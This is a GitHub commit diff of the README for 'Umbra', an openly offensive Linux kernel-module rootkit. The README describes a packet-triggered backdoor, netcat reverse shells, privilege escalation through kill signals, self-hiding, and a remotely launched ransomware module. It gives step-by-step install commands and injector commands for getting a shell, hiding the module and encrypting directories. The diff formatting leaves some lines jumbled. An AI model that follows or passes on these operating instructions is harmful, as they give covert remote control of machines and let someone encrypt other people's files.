You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Umbra (/ˈʌmbrə/) is an experimental LKM rootkit for kernels 4.x and 5.x (up to 5.7) which opens a network backdoor that spawns reverse shells to remote hostsand more.
8
+
Umbra is an experimental remotely controllable LKM rootkit for kernels 4.x and 5.x (up to 5.7) which opens a network backdoor that can spawn reverse shells to remote hosts, launch malware remotely and much more.
9
9
10
10
The rootkit is still under development, although the features listed below are already fully operational.
11
11
12
-
12
+
13
13
14
14
Note: This rootkit has been developed and tested using kernel 5.4.0 and Ubuntu 18.04.
15
15
16
16
## Features
17
17
*:star2: Backdoor which spawns reverse shell to remote IP after receiving a malicious TCP packet.
18
-
* Privilege escalation by sending signal 50.
19
-
* Spawn netcat reverse shell on module load.
20
-
* Spawn netcat reverse shell to a remote host by sending signal 51.
21
-
***NEW**: Added the *Umbra Injector* to control the rootkit remotely:
18
+
*:star2: Use the *Umbra Injector* to control the rootkit remotely:
***NEW:** Added the ***Umbra Modules***, special malware-like modules which enhance Umbra and can be launched remotely by the Umbra Injector.
26
+
***NEW:** Umbra module "***Ransom***" which turns Umbra into a remotely controllable ransomware.
27
+
28
+
26
29
27
-
***NEW**: Umbra hides all its files and directories from user commands such as *ls*.
28
-
***NEW**: Umbra can hide/unhide itself remotely and locally via signals.
30
+
* Umbra hides all its files and directories from user commands such as *ls*.
31
+
* Umbra can hide/unhide itself remotely and locally via signals.
32
+
* Privilege escalation by sending signal 50.
33
+
* Spawn netcat reverse shell on module load.
34
+
* Spawn netcat reverse shell to a remote host by sending signal 51.
29
35
30
36
More functionalities will come in later updates.
31
37
@@ -36,20 +42,24 @@ Also bear in mind that Umbra only incorporates light hiding and protection mecha
36
42
37
43
**IMPORTANT:** If you are going to test this rootkit in your own machine, I *strongly recommend* to use a VM.
38
44
45
+
**About the Umbra Modules:** The *ransom* module uses a trivial encryption mechanism but it can and will certainly encrypt any folder in your machine. Although files can be easily decrypted, I *definitely do not recommend* running this towards your root folder or similar unless on a controlled environment.
Remember that you should have a 4.x or 5.x kernel available.
48
58
1. Download your kernel header files
49
59
```sh
50
60
apt install linux-headers-$(uname -r)
51
61
```
52
-
2.Configure your include path to cover the kernel header directory (usually under /usr/src). If you are using vscode, you can check ```.vscode/c_cpp_properties.json``` for an example on which directories to include.
62
+
2.Configure your include path to cover the kernel header directory (usually under /usr/src). If you are using vscode, you can check ```.vscode/c_cpp_properties.json``` for an example on which directories to include.
53
63
54
64
3. Clone the project
55
65
```
@@ -60,12 +70,22 @@ cd Umbra
60
70
```
61
71
make
62
72
```
63
-
5. Load Umbra in the kernel
73
+
5. Load Umbra in the kernel and configure environment
74
+
The script will install Umbra in the kernel and configure a special directory where to store the malware modules. The directory will be later hidden by the rootkit.
75
+
76
+
```
77
+
sudo ./install.sh
78
+
```
79
+
80
+
If you have previously run the script and wish to just install Umbra in the kernel, you can run:
81
+
64
82
```
65
83
sudo insmod ./umbra.ko
66
84
```
67
85
68
86
## Unloading Umbra
87
+
Make sure Umbra is not in invisible mode, otherwise this will fail.
88
+
69
89
```
70
90
sudo rmmod umbra
71
91
```
@@ -108,23 +128,23 @@ kill -52 1
108
128
### Unhide the rootkit
109
129
This reverts the invisible mode if active.
110
130
```
111
-
./client -53 127.0.0.1
131
+
kill -53 1
112
132
```
113
133
114
134
## Umbra Injector: Remote control
115
-
### **NEW**: Get reverse shell
135
+
### Get reverse shell
116
136
The program can be run either before Umbra is installed (thus waiting until it is), or after Umbra is installed on the target system.
117
137
```
118
-
./client -S 127.0.0.1
138
+
./injector -S 127.0.0.1
119
139
```
120
140
121
-
### **NEW**: Hide the rootkit remotely - Invisible mode
141
+
### Hide the rootkit remotely - Invisible mode
122
142
This will prevent the rootkit from being shown by commands such as *lsmod*, or being removed via *rmmod*.
123
143
```
124
-
./client -i 127.0.0.1
144
+
./injector -i 127.0.0.1
125
145
```
126
146
127
-
### **NEW**: Unhide the rootkit remotely
147
+
### ¡Unhide the rootkit remotely
128
148
This reverts the invisible mode if active.
129
149
```
130
150
./client -u 127.0.0.1
@@ -133,10 +153,23 @@ This reverts the invisible mode if active.
133
153
### Help
134
154
You can see the full information on how to run the client by:
135
155
```
136
-
./client -h
156
+
./injector -h
137
157
```
138
158
159
+
## Umbra Modules
160
+
### Ransom module
161
+
This module can launch remote ransomware-like attacks via the Umbra Injector. Encrypted files appear with the *.ubr* extension.
139
162
163
+
Currently the encryption mechanism is a simple bit-level NOP, as a proof of concept. You may edit the module to include your own encryption algorithm.
164
+
#### Encrypt a directory and all its sub-directories
165
+
```
166
+
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
167
+
```
168
+
169
+
#### Decrypt a directory and all its sub-directories
170
+
```
171
+
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
172
+
```
140
173
141
174
## References
142
175
The development of this rootkit involved a substantial amount of research about LKMs and rootkit techniques. The following is an incomplete list of the resources I used:
0 commit comments